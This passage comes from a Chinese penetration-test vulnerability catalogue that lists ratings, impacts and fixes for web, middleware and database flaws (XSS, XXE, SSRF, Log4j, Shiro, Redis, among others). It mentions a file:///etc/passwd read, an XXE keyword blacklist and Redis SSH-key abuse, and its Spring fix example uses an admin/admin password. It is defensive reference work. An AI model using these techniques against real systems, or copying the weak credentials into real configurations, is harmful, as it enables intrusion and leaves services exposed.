library；框架（Spring：HtmlUtils.htmlEscape） PHP：使用 htmlspecialchars 等函数进行过滤输出。 其他层面 使用模版引擎 开启模板引擎自带的 HTML 转义功能。例如： 在 ejs 中，尽量使用 \u003c%= data %\u003e 而不是 \u003c%- data %\u003e； 在 doT.js 中，尽量使用 {{! data } 而不是 {{= data }； 在 FreeMarker 中，确保引擎版本高于 2.3.24，并且选择正确的 freemarker.core.OutputFormat。 避免内敛事件 尽量不要使用 onLoad=“onload(’{{data}}’)\"、onClick=“go(’{{action}}’)” 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。 避免拼接 HTML 前端采用拼接 HTML 的方法比较危险，如果框架允许，使用 createElement、setAttribute 之类的方法实现。或者采用比较成熟的渲染框架，如 Vue/React 等。 使用 CSP Content Security Policy：禁止加载外域代码，防止复杂的攻击逻辑；禁止外域提交，网站被攻击后，用户的数据不会泄露到外域；禁止内联脚本执行；禁止未授权的脚本执行。 使用httponly HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie，攻击者完成 XSS 注入后也无法窃取此 Cookie。httponly 无法完全的防御 xss 漏洞，它只是规定了不能使用 js 去获取 cookie 的内容，因此它只能防御利用 xss 进行 cookie 劫持的问题。Httponly 是在 set-cookie 时标记的，可对单独某个参数标记也可对全部参数标记。由于设置 httponly 的方法比较简单，使用也很灵活，并且对防御 cookie 劫持非常有用，因此已经渐渐成为一种默认的标准。 前端 在不影响客户正常使用的情况下使用 js，由客户端运行，过滤特殊字符，如: 单引号’\u0026’ , ‘\u003c’ , ‘' 之类的敏感字符转义为 \u0026amp , \u0026lt , \u0026gt，用户所编写的 HTML 代码就变成了字符，剩下富文本格式。 后端 PHP: 直接输出到 HTML 的可以尝试使用以下方法进行过滤: htmlspecialchars 函数、htmlentities 函数、HTMLPurifier.auto.php 插件等; 输出到 JS 代码中，或者开发 Json API 的，则需要前端在 JS 中进行过滤： 尽量使用 innerText(IE) 和 textContent(Firefox), 也就是 jQuery 的 text() 来输出文本内容。 必须要用 innerHTML 等等函数，则需要做类似 php 的 htmlspecialchars 的过滤。 Java: 采用开源的实现 ESAPI library 参考网址: https://owasp.org/www-project-enterprise-security-api/ Asp: 使用 Microsoft 防跨站点脚本库 (AntiXSS) 并将其设置为您的默认 HTML 编码器。 XXE\n漏洞评级建议: 高危\n漏洞类型: 不安全的输入\n详情\nXML 外部实体注入（XML External Entity Injection）漏洞是指当恶意用户在提交一个精心构造的包含外部实体引用的 XML 文档给未正确配置的 XML 解析器处理时，该攻击就会发生。\n造成的危害\n利用 XXE 进行 DOS 攻击； 读取本地任意敏感文件； 利用相关协议探测内网主机 IP、端口等信息； 在特定条件下利用 Java 中的 jar:// 协议，php 中的 phar:// 可能导致恶意文件上传； PHP 中如果安装了 expect 扩展，可利用 XXE 执行任意命令。 修复建议\n使用语言中推荐的禁用外部实体的方法 PHP：libxml_disable_entity_loader(true); Java: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 手动黑名单过滤 过滤 XML 中的相关关键词，比如：\u003c!DOCTYPE、\u003c!ENTITY SYSTEM、PUBLIC 等。 SSRF\n漏洞评级建议: 中危\n漏洞类型: 不安全的输入\n详情\n很多 web 应用都提供了从其他的服务器上获取数据的功能。使用用户指定的 URL，web 应用可以获取图片，下载文件，读取文件内容等。这个功能如果被恶意使用，可以利用存在缺陷的 web 应用作为代理攻击远程和本地的服务器。这种形式的攻击称为服务端请求伪造攻击(Server-side Request Forgery)。即：利用一个可以发起网络请求的服务，当作跳板来攻击其他服务。\n造成的危害\n可以对外网、服务器所在内网、本地端口扫描，获取开放端口信息；主机信息收集，web 应用指纹识别，获取服务 banner 信息等； 攻击内外网的 Web 应用，主要是使用 Get 参数就可以实现的攻击（比如 Struts2 漏洞利用，SQL 注入等）; 攻击运行在内网或本地的应用程序（比如溢出）; 根据识别出的应用针对性的发送 payload 攻击，例如 struts2、redis、攻击内网、本地的应用程序及服务等；穿越防火墙； 利用 file 等其他允许协议进行绕过攻击，比如利用 file 协议读取本地文件（file:///etc/passwd） 修复建议\n禁用不需要的协议，只允许 HTTP 和 HTTPS 请求，可以防止类似于 file://, gopher://, ftp:// 等引起的问题。 白名单的方式限制访问的目标地址，禁止对内网发起请求。 过滤或屏蔽请求返回的详细信息，验证远程服务器对请求的响应是比较容易的方法。如果 web 应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。 验证请求的文件格式,禁止跟随 301、302 跳转。 限制请求的端口为 http 常用的端口，比如 80、443、8080、8000 等。 统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。 解析目标URL 获取scheme、host（推荐使用系统内置函数完成,避免自己使用正则提取）。 校验scheme 检查 scheme 是否为合法 (如非特殊需求请只允许 http 和 https)。 获取解析IP 解析 host 获取 dns 解析后的 IP 地址。 检测IP是否合法 检查解析后的 IP 地址是否为外网地址或者合法 IP。 SSTI\n漏洞评级建议: 高危\n漏洞类型: 不安全的输入\n详情\nSSTI （服务器端模板注入）如果攻击者能够控制要呈现的模板，服务端接收了用户的恶意输入以后，未经任何处理就将其作为 Web 应用模板内容的一部分，模板引擎在进行目标编译渲染的过程中，执行了用户插入的可以破坏模板的语句，就可能导致上下文数据的暴露，甚至在服务器上运行任意命令的表达式。\n造成的危害\n获取上下文敏感数据信息、配置信息； 读取、写入恶意文档到服务器中； 执行系统命令； 修复建议\n不要让用户对传入模板的内容或者模板本身进行控制。 减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式，使用正规的模板渲染方法。 如果需要将动态数据传递给模板，不要直接在模板文件中执行，可以使用模板引擎的内置功能来扩展表达式，实现同样的效果。 配置不当 CSRF 跨站请求伪造\n漏洞评级建议: 中危\n漏洞类型: 配置不当\n详情\nCSRF（Cross-site request forgery）跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本（XSS），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。攻击者通过伪造来自受信任用户的请求，达到增加、删除、篡改网站内容的目的。通常由于服务端没有对请求头做严格过滤引起的。CSRF会造成密码重置，用户伪造等问题，可能引发严重后果。绝大多数网站是通过 cookie 等方式辨识用户身份，再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。CSRF攻击会令用户在不知情的情况下攻击自己已经登录的系统。\n造成的危害\nCSRF 攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点，从而在并未授权的情况下执行在权限保护之下的操作。最常见的攻击场景为：攻击者冒充用户/管理员伪造请求，进行网页篡改；用户修改、添加用户、密码修改；发送帖子、消息等非法操作。\n修复建议\n验证 HTTP Referer 字段 在请求地址中增加 csrftoken 验证，csrftoken 可以在用户登录后产生并放于 session 之中，然后在每次请求时把 csrftoken 从 session 中拿出，与请求中的 csrftoken 进行比对。对于 GET 请求，csrftoken 将附在请求地址之后，对于 POST 请求来说，要在 form 的最后加上 \u003cinput type=\"hidden\" name=\"csrftoken\" value=\"tokenvalue\"/\u003e； 在 HTTP 头中自定义属性并验证。 对于 web 站点，将持久化的授权方法（例如 cookie 或者 HTTP 授权）切换为瞬时的授权方法（在每个 form 中提供隐藏 field），可以帮助网站防止 CSRF 攻击。 过滤用户输入，不允许发布含有站内操作 URL 的链接； 在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的 cookie。 CORS 跨域漏洞\n漏洞评级建议: 中危\n漏洞类型: 配置不当\n详情\n跨域资源共享（CORS）是一种浏览器机制，可实现对位于给定域外部的资源的受控访问。它扩展了同源策略（SOP）并增加了灵活性。但是，如果网站的CORS策略配置和实施不当，它也可能带来基于跨域的攻击。CORS并不是针对跨域攻击（例如跨站点请求伪造（CSRF））的保护措施。\n造成的危害\n假如两个互相受信任的源，如果其中一个网站存在 XSS，攻击者就可以利用 XSS 注入一些 JavaScript 代码，利用这些代码对信任其源的另一个网站进行敏感信息的获取。\n修复建议\n正确配置跨域请求, 如果 Web 资源包含敏感信息，则应在 Access-Control-Allow-Origin 标头中正确指定来源。 只允许信任的网站, Access-Control-Allow-Origin 中指定的来源只能是受信任的站点。使用通配符来表示允许的跨域请求的来源而不进行验证很容易被利用，应该避免。 避免将 null 列入白名单, 避免使用标题 Access-Control-Allow-Origin: null。来自内部文档和沙盒请求的跨域资源调用可以指定 null 来源。应针对私有和公共服务器的可信来源正确定义 CORS 头。 避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时，仅靠信任网络配置来保护内部资源是不够的。 CORS 不能替代服务器端安全策略, CORS 定义了浏览器的行为，绝不能替代服务器端对敏感数据的保护 - 攻击者可以直接从任何可信来源伪造请求。因此，除了正确配置的 CORS 之外，Web 服务器还应继续对敏感数据应用保护，例如身份验证和会话管理。 拒绝服务类 SlowHttp 缓慢攻击漏洞\n漏洞评级建议: 中危\n漏洞类型: 拒绝服务\n详情\n缓慢的 http 拒绝服务攻击是一种专门针对于 Web 的应用层拒绝服务攻击，按照设计，HTTP协议要求服务器在处理之前完全接收请求。 如果HTTP请求没有完成，或者传输速率非常低，服务器会保持其资源忙于等待其余数据。如果服务器保持太多的资源请求和处理，这将造成一个拒绝服务。严重者一台主机即可让web运行缓慢甚至是崩溃。\n造成的危害\n攻击者利用 Web 应用在处理 HTTP 请求之前都要先接收完所有的 HTTP 头部，因为 HTTP 头部中包含了一些 Web 应用可能用到的重要信息的特点，发起一个 HTTP 请求，一直不停的发送 HTTP 头部，消耗服务器的连接和内存资源。\n修复建议\n设置合适的 timeout 时间（Apache 已默认启用了 reqtimeout 模块），规定了 Header 发送的时间以及频率和 Body 发送的时间以及频率。 增大 MaxClients(MaxRequestWorkers)：增加最大的连接数。根据官方文档，两个参数是一回事，版本不同，MaxRequestWorkers was called MaxClients before version 2.3.13.Theold name is still supported。 默认安装的 Apache 存在 Slow Attack 的威胁，原因就是虽然设置的 timeoute，但是最大连接数不够，如果攻击的请求频率足够大，仍然会占满Apache的所有连接。 将标题和消息体限制在最小的合理长度上。针对接受数据的每个资源，设置更严格的特定于 URL 的限制。 如果 Web 服务器从相同的 IP 接收到数千个连接，同一个用户代理在短时间内请求相同的资源，直接禁掉 IP 并且记录日志。 对 web 服务器的 http 头部传输的最大许可时间进行限制，修改成最大许可时间为 20 秒。 Weblogic\n在配置管理界面中的协议 -\u003e 一般信息下设置 完成消息超时时间小于 400。 在配置管理界面中的协议 -\u003eHTTP 下设置 POST 超时、持续时间、最大 POST 大小为安全值范围。 Nginx\n通过调整 $request_method，配置服务器接受 http 包的操作限制； 在保证业务不受影响的前提下，调整 client_max_body_size, client_body_buffer_size, client_header_buffer_size,large_client_header_buffersclient_body_timeout, client_header_timeout 的值，必要时可以适当的增加； 对于会话或者相同的 ip 地址，可以使用 HttpLimitReqModule and HttpLimitZoneModule 参数去限制请求量或者并发连接数； 根据 CPU 和负载的大小，来配置 worker_processes 和 worker_connections 的值，公式是：max_clients = worker_processes * worker_connections。 Apache\nmod_reqtimeout 用于控制每个连接上请求发送的速率。配置例如： 请求正文部分，设置超时时间初始为 10 秒，将超时时间延长 1 秒，但最长不超过 40 秒。可以防护 slow message body 型的慢速攻击。\nmod_qos 用于控制并发连接数。配置例如：\n当服务器并发连接数超过 600 时，关闭 keepalive QS_SrvMaxConnClose 600 每个源 IP 最大并发连接数为 50 QS_SrvMaxConnPerIP 50\n钓鱼欺骗 URL Redirect\n漏洞评级建议: 中危\n漏洞类型: 钓鱼欺骗\n详情\n由于目标网站未对程序跳转的 URL 地址及参数做合法性判断，导致应用程序直接跳转到参数中指定的的 URL 地址。攻击者可通过将跳转地址修改为指向恶意站点，即可发起网络钓鱼、诈骗甚至窃取用户凭证等。\n造成的危害\n攻击者可能会使用 Web 服务器攻击其他站点； 如果对输出没有做严格限制，将可能导致反射性 XSS 漏洞； 黑产将利用此漏洞，从信任网站跳转到攻击者构造的恶意网站用来进行钓鱼、诈骗等行为； 修复建议\n白名单规定跳转链接，如果某个业务事先已经确定将要跳转的网站，最稳妥的方式是将其直接编码在源代码中，通过 URL 中传入的参数来映射跳转网址。 严格验证跳转 URL 参数的有效性、合法性。 在进行页面跳转前校验传入的 URL 参数是否为可信域名。 存在暗链/SEO 痕迹\n漏洞评级建议: 高危\n漏洞类型: 钓鱼欺骗\n详情\n暗链是对搜索引擎的一种欺骗，导致搜索引擎的误判，将高权重分配给原本没有价值的网站甚至是钓鱼网站。\n造成的危害\n暗链指向会指向不正规的网站甚至是非法网站，这些网站存在欺诈、木马、钓鱼，会间接危害普通用户。 暗链所指向的网站主要有博彩、色情、股票内幕信息和网游外挂等不良信息。 修复建议\n挂链的基本原理是利用CMS漏洞、中间件漏洞、编辑器相关漏洞。 建议站点管理员时刻关注相应web服务的安全升级公告，及时更新相关应用及插件。 黑产 网页木马后门/Webshell\n漏洞评级建议: 高危\n漏洞类型: 入侵痕迹\n详情\n经渗透测试发现目标站点存在 webshell，攻击者可直接爆破口令使用木马，非常低成本的进行恶意操作。\n造成的危害\n攻击者可在利用该 webshell 来执行任意命令，写入后门，从而入侵服务器，获取服务器权限，直接导致服务器沦陷。\n修复建议\n确认并删除木马文件，并进行本地文件漏洞扫描排查是否还存在有其他木马。 发现并及时修复已存在的漏洞。 通过查看日志、服务器杀毒等安全排查，确保服务器未被留下后门。 IDOR 未授权访问\n漏洞评级建议: 视情况而定,水平越权默认中危,垂直越权默认高危\n漏洞类型: 访问控制缺陷\n详情\n渗透测试过程中，发现目标部分页面无需认证即可访问,没有对网站敏感页面进行登录状态、访问权限的检查，导致攻击者可未授权访问，获取敏感信息及进行未授权操作。\n造成的危害\n攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。\n修复建议\n日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。 对于后台接口，确保所有 API 接口先经过登录控制器。 在验证用户身份权限前不进行任何数据的交互。 越权访问漏洞\n漏洞评级建议: 视情况而定,水平越权默认中危,垂直越权默认高危\n漏洞类型: 访问控制缺陷\n详情\n越权漏洞是指应用程序未对当前用户操作的身份权限进行严格校验，导致用户可以操作超出自己管理权限范围的功能，从而操作一些非该用户可以操作的行为。\n水平越权 攻击者可以访问与他拥有相同权限的用户的资源，资源权限 ID不变，资源归属 ID 改变； 垂直越权 低级别攻击者可以访问高级别权限用户的资源，资源权限 ID 不变，资源归属 ID 改变； 低级别攻击者可以访问高级别权限用户的资源，资源权限 ID 改变，资源归属 ID 不变； 造成的危害\n水平越权 水平越权会导致同一层级间的用户可以互相访问到对方的敏感信息，如姓名、手机号、联系地址、个人资料、订单记录等。同时还可能会以其他平级权限用户的身份来执行某行功能，如删除，添加，修改等。 垂直越权 垂直越权漏洞会导致低权限用户用来执行高权限用户的功能，获取高权限用户的账号信息，执行高权限用户的操作功能。 修复建议\n设置目录访问权限。 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。 通过修改配置文件，禁止中间件（如IIS、apache、tomcat）的文件目录索引功能。 对于后台接口，确保所有 API 接口先经过登录控制器。 在验证用户身份权限前不进行任何数据的交互。 严格校验当前用户操作与当前登录用户身份权限是否匹配。 支付数据可被篡改\n漏洞评级建议: 高危\n漏洞类型: 参数控制缺陷\n详情\n填写完缴款页面，在进入网银缴费页面前，确认缴费信息时，可通过 burpsuite 软件篡改本地缴费金额，欺骗本地缴费系统，以达到以少付多的效果。\n造成的危害\n例如某机关单位张三缴款时利用该漏洞缴款 100000 元，本地篡改数据为 0.1 元，即可完成只花费 0.1 元实现 100000 元的缴款。\n修复建议\n对支付数据表进行数据包加密； 对提交数据包做数据签名处理，保证支付数据参数无法修改； 服务端效验客户端提交的参数； 服务端严格校验支付参数的合法性，比如金额、数量的长度，金额、数量的正负等； 对于用户提交的数据，应从数据库重新拉取，并校验用户提交与用户所有是否匹配； 对于多线程等并发问题，可以先打入队列，在与数据库交互； 短信验证码接口可被爆破\n漏洞评级建议: 中危\n漏洞类型: 参数控制缺陷\n详情\n在用户注册页面， 其发所短信验证码接口未做限制，导致重复发包时可以绕过前台时间限制，对单个用户多次发送验证码。\n造成的危害\n攻击者可以重复 post 请求，针对某手机号进行短信轰炸。\n修复建议\n将短信验证码时间限制判断放在后端进行。 同一手机号，60秒内不能重复发送，24小时内总共发送不超过5次。 加上 IP 限制，例如某 IP 一小时内连续登录发送 3 次，6 个小时内禁止该 ip 发送。 短信验证码接口可被遍历\n漏洞评级建议: 中危\n漏洞类型: 参数控制缺陷\n详情\n在用户注册页面， 由于没有对短信或者邮件发送次数进行限制，导致可无限次发送短信或邮件给用户，从而造成短信轰炸。\n造成的危害\n攻击者可以重复 post 请求，针对某手机号进行短信轰炸。\n修复建议\n将短信验证码时间限制判断放在后端进行。 在服务器限制发送短信或邮件的频率，如同一账号1分钟只能发送1次短信或邮件，一天只能发送3次。 加上 IP 限制，例如某 IP 一小时内连续登录发送 3 次，6 个小时内禁止该 ip 发送。 验证码回显\n漏洞评级建议: 高危\n漏洞类型: 逻辑缺陷\n详情\n渗透测试过程中,在短信发送模块发现其在回包中包含了相应的验证码。\n造成的危害\n攻击者可以通过该漏洞，绕过验证码机制，取得相应权限。\n修复建议\n不要将验证码回显给前端。 批量用户注册\n漏洞评级建议: 中危\n漏洞类型: 参数控制缺陷\n详情\n目标网站注册页面无认证码，通过抓包修改账号参数，即可批量注册，即使手机号、身份证相同也可成功。\n造成的危害\n攻击者可通过脚本批量注册用户，造成系统资源的浪费和占用.\n修复建议\n在注册页面加上验证码。 后台再次确认数据唯一性。 中间件/服务 XXX 中间件存在 XXX 远程代码执行漏洞\n漏洞评级建议: 紧急\n漏洞类型: 代码执行\n详情\n渗透测试过程中，发现目标站点存在 XXX 远程代码执行漏洞，该漏洞可以远程执行任意代码。\n造成的危害\n由于该漏洞影响范围较广，漏洞危害程度严重，可造成直接获取应用系统所在服务器的控制权限。\n修复建议\n及时更新网站 XXX 应用或更新相应补丁。具体修复方案参考官方的安全公告。\nCVE-2021-44228 log4j2 rce 漏洞\n漏洞评级建议: 紧急\n漏洞类型: 代码执行\n详情：\nApache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。由于 Apache Log4j2 lookup 功能存在递归解析功能，攻击者可直接构造恶意请求，当程序将用户输入的数据进行日志记录时, ⽆需进⾏特殊配置，即可触发远程代码执⾏。\n造成的危害：\n由于该漏洞影响范围较广，漏洞危害程度严重，在部分情况下可造成直接获取应用系统所在服务器的控制权限。\n修复建议:\n设置系统环境变量 LOG4J_log4j2_formatMsgNoLookups=True 升级 Apache Log4j2 相关应用到最新版本，地址 https://github.com/apache/logging-log4j2/tags FineReport（帆软）报表系统目录遍历漏洞\n漏洞评级建议: 高危\n漏洞类型: 信息泄露\n详情\nFineReport报表软件是一款纯Java编写的、集数据展示(报表)和数据录入(表单)功能于一身的企业级web报表工具，它“专业、简捷、灵活”的特点和无码理念，仅需简单的拖拽操作便可以设计复杂的中国式报表，搭建数据决策分析系统。在帆软报表插件中存在目录遍历漏洞。\n造成的危害\n攻击者通过利用FineReport存在的目录遍历漏洞就可以绕过服务器的安全限制，访问任意的文件（可以是 web 根目录以外的文件），甚至执行系统命令。\n修复建议\n及时更新FineReport到官方最新版本。 http://www.finereport.com/product/download\nStruts2 反序列化漏洞\n漏洞评级建议: 紧急\n漏洞类型: 代码执行\n详情：\n在渗透测试过程中发现目服务中间件 Apache Struts2 存在远程代码执行漏洞，攻击者可以将恶意代码通过传递构造恶意代码的字段传递给存在漏洞的服务器，导致任意代码执行漏洞。\n造成的危害：\n攻击者可以构造恶意信息，服务器收到该恶意代码后解析出的命令可能会造成信息泄露或者被攻击者直接用拿下主机服务器等安全风险。\n修复建议：\n请及时安装 Struts2 中间件的最新版本 http://struts.apache.org/download.cgi\nGhostcat(CVE-2020-1938)漏洞\n漏洞评级建议: 高危\n漏洞类型: 文件包含\n详情\n渗透测试过程中，发现目标存在 Ghostcat 漏洞。该漏洞允许黑客远程访问 Apache Tomcat 服务器，获取系统源代码。\n造成的危害\n该漏洞位于 Apache Tomcat 软件的 AJP 协议中，该漏洞允许未经身份验证的攻击者远程访问服务器上部署的应用程序和源代码文件。\n修复建议\n针对 CVE-2020-1938 漏洞，Apache Tomcat 官方已放出相应的修复新版本，建议及时安装官方新版本。\niis 短文件名泄露漏洞\n漏洞评级建议: 低危\n漏洞类型: 信息泄露\n详情\n目标存在 IIS 短文件名泄露漏洞。攻击者可利用此漏洞枚举网络服务器根目录中的文件。\n造成的危害\n攻击者可以利用该漏洞猜解后台地址和敏感文件甚至直接下载对应文件，或对 IIS 服务器中的 .Net Framework 进行拒绝服务攻击。\n修复建议 修改 Windows 配置，关闭短文件名功能。\n关闭 NTFS 8.3 文件格式的支持。该功能默认是开启的，对于大多数用户来说无需开启。 如果是虚拟主机空间用户, 可采用以下修复方案： 修改注册列表 HKLM\\SYSTEM\\CurrentControlSet\\Control\\FileSystem\\NtfsDisable8dot3NameCreation 的值为 1(此修改只能禁止 NTFS8.3 格式文件名创建, 已经存在的文件的短文件名无法移除)。 如果你的 web 环境不需要 asp.net 的支持你可以进入 Internet 信息服务 (IIS) 管理器 — Web 服务扩展 - ASP.NET 选择禁止此功能。 升级 net framework 至 4.0 以上版本。 将 web 文件夹的内容拷贝到另一个位置，比如 D:\\www 到 D:\\www.back，然后删除原文件夹 D:\\www，再重命名 D:\\www.back 到 D:\\www。如果不重新复制，已经存在的短文件名则是不会消失的。 Elasticsearch 未授权访问漏洞\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n漏洞描述：\n由于 Elasticsearch 授权模块需要付费，所以免费开源的 Elasticsearch 可能存在未授权访问漏洞。该漏洞导致，攻击者可以拥有 Elasticsearch 的所有权限。可以对数据进行任意操作。\n危害：\n攻击者通常可以请求一个开放 9200 或 9300 的端口对服务器进行恶意攻击。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。\n修复建议：\n限制 IP 访问，绑定固定 IP。 在 config/elasticsearch.yml 中为9200端口设置认证。 Kibana 未授权访问漏洞\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n漏洞描述：\nKibana 是一个开源的数据分析和可视化平台，旨在与 Elasticsearch 协同工作，帮助分析师通过图形的方式来理解复杂的数据流动。Kibana 拥有一个基于浏览器的管理界面，可实时从 Elasticsearch 中获取数据，然后执行高级数据分析，最后将结果以图表，表格和地图的形式呈现出来。在默认设置下，Kibana 会开放在端口 5601 上。\n危害：\nKibana 本身没有任何安全性设置，在默认配置下，Kibana 就可以访问 Elasticsearch 中的所有数据。\n修复建议：\n设置防火墙策略，仅允许指定的 IP 来访问服务。 通过 nginx 设置反向代理，设置密码登录验证。 设置 kibana 监听本地地址，并设置 ElasticSearch 登录的账号和密码。 使用 htpasswd 创建 kibana 登录的账号密码，这里可以复用 ElasticSearch 创建的账号密码，也可以重新创建一 个。 配置 nginx 反向代理，配置好后，重启 nginx 和 kibana，通过 15601 登录验证访问 Kibana。 Shiro 反序列化\n漏洞评级建议: 紧急\n漏洞类型: 代码执行\n详情\nApache Shiro 框架提供了记住密码的功能（RememberMe），用户登录成功后会生成经过加密并编码的 cookie。在服务端对 rememberMe 的 cookie 值，先 base64 解码然后 AES 解密再反序列化，就导致了反序列化 RCE 漏洞。\n造成的危害\n由于该漏洞影响范围较广，漏洞危害程度严重，可造成直接获取应用系统所在服务器的控制权限。\n修复建议\n对于 shiro 应用,管理员需及时关注官方的安全公告 https://issues.apache.org/jira/projects/SHIRO/issues\nDruid Monitor 未授权访问\n漏洞评级建议: 低危 若可以利用 session 为高危\n漏洞类型: 访问控制缺陷\n详情\nDruid 是一款开源的，为监控而生的数据库连接池，并且 Druid 提供监控功能，监控 SQL 的执行时间、监控 Web URI 的请求、Session 监控。开发者配置不当时就可能造成未授权访问。\n造成的危害\n在 session 监控中，可以获取网站用户的 session，从而伪造用户 session 进行登录。\n修复建议\n做好权限的控制，不允许未登录的用户直接访问 Druid Monitor 页面。\nSpring Actuator 组件未授权访问\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\n目标站点使用了 Spring Actuator 组件，在使用默认配置的情况下会导致未授权访问漏洞.\n当存在heapdmup端点时,通过 JVM 分析工具可以获取应用对象的配置敏感信息，可能导致大量敏感信息泄露。\n造成的危害\n攻击者通过未授权访问，可以获取大量敏感信息，严重情况下,甚至可以获取到 webserver 的控制权限。\n修复建议\n禁用所有接口，将配置改为: endpoints.enable=false 引入 spring-boot-starter-security 依赖 \u003cdependency\u003e \u003cgroupId\u003eorg.springframework.boot\u003c/groupId\u003e \u003cartifactId\u003espring-boot-starter-security\u003c/artifactId\u003e \u003c/dependency\u003e 在application.properties中指定actuator的端口以及开启security功能，配置访问权限验证，这时再访问actuator功能时就会弹出登录窗口，需要输入账号密码验证后才允许访问。 management.port=8099 management.security.enabled=true security.user.name=admin security.user.password=admin solr 未授权访问漏洞\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\n目标 solr 的管理界面没有认证机制，未授权的攻击者可以直接访问到管理界面。\n造成的危害\nsolr 的管理界面通常包含如下信息：solr 的配置信息（包括路径，用户名，系统版本信息），数据库的配置信息（地址，用户名，密码），数据库搜索数据等。 solr 未授权访问的危害很大，轻则可查询所有 数据库 信息，重则可读取系统任意文件，甚至 getshell.\n修复建议\n添加 Apache Solr 访问权限控制。 禁止外网或白名单以外的 IP 访问 solr/admin 目录。 CVE-2017-1000486 PrimeFaces 5.x表达式注入\n漏洞评级建议: 紧急\n漏洞类型: 访问控制缺陷\n详情\n目标存在 CVE-2017-1000486 PrimeFaces 5.x 表达式注入漏洞.\n造成的危害\n攻击者可以构造恶意信息，服务器收到该恶意代码后解析出的命令可能会造成信息泄露或者被攻击者直接用于控制主机服务器等安全风险。\n修复建议\n升级 Primefaces 组件。 过滤不安全的输入值。 CVE-2019-16097\n漏洞评级建议: 高危\n漏洞类型: 逻辑缺陷\n详情\n目标 harbor 存在任意管理员注册漏洞，攻击者在请求中构造特定字符串，在未授权的情况下可以直接创建管理员账号，从而接管 Harbor 镜像仓库。\n造成的危害\n攻击者通过在请求中添加关键参数，即可利用该漏洞创建管理员账户，从而接管 Harbor 镜像仓库。\n修复建议\n升级 Harbor 版本到 1.7.6 和 1.8.3。 CVE-2020-13935 DOS 漏洞\n漏洞评级建议: 高危\n漏洞类型: DOS漏洞\n详情：\n攻击者发送大量特定请求导致在影响版本范围内的使用 Websocket 协议的 Tomcat 服务器无法响应。\n造成的危害：\nApache Tomcat WebSocket 拒绝服务漏洞是由于 WebSocket 帧中的攻击载荷长度未正确验证导致，无效的攻击载荷长度可能会触发无限循环，如果有大量的包含无效攻击载荷长度的请求发生，可能会导致拒绝服务。\n修复建议：\n官方已发布漏洞修复版本，检查您的 Tomcat 服务器是否在受影响版本范围。 检查你的网站或系统是否使用到 Websocket 协议，如受影响，请你选择合理时间进行升级操作，升级到修复版本，避免影响业务。 C/S 数据库 Oracle 远程数据投毒漏洞(CVE-2012-1675)\n漏洞评级建议: 低危\n漏洞类型: 信息泄露\n详情\n服务器存在 oracle 远程数据投毒漏洞，该漏洞可以远程获取到 oracle 的内存信息，若是能获取到内存中的数据即为存在漏洞，进而可以再爆破 oracle 的 SID。\n造成的危害\n攻击者可以在不需要用户名密码的情况下利用网络中传送的数据消息(包括加密或者非加密的数据)，如果结合(CVE-2012-3137 漏洞进行密码破解)从而进一步影响甚至控制局域网内的任何一台数据库。\n修复建议\n不应该使用安装 Oracle 时默认的 SID(ORCL)，应该设置复杂度较高的 SID。 对于短时间内难以通过第1种方式修补漏洞的情况，应考虑加强主机和网络层面的访问控制策略。例如采用白名单的方式，仅允许授权主机 IP 访问该端口，避免漏洞被攻击者恶意利用。 针对该漏洞，oracle给出了不同环境的解决方法：http://www.oracle.com/technetwork/topics/security/alert-cve-2012-1675-1608180.html Redis 未授权访问漏洞\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\nRedis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。\n造成的危害\n攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的 config 命令，可以进行写文件操作，攻击者可以成功将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中，进而可以使用对应私钥直接使用 ssh 服务登录目标服务器、添加计划任务、写入 Webshell 等操作。\n修复建议\n禁用一些高危命令,常见如：flushdb，flushall，config，keys 等。 禁止使用 root 权限启动 redis 服务，以低权限运行 Redis 服务。 对 redis 访问启动密码认证。 禁止外网访问 Redis。 添加 IP 访问限制，并更改默认 6379 端口。 保证 authorized_keys 文件的安全。 Mongodb 未授权访问漏洞\n漏洞评级建议: 高危\n漏洞类型: 访问控制缺陷\n详情\n目标 Mongodb 服务存在未授权访问漏洞，开启 MongoDB 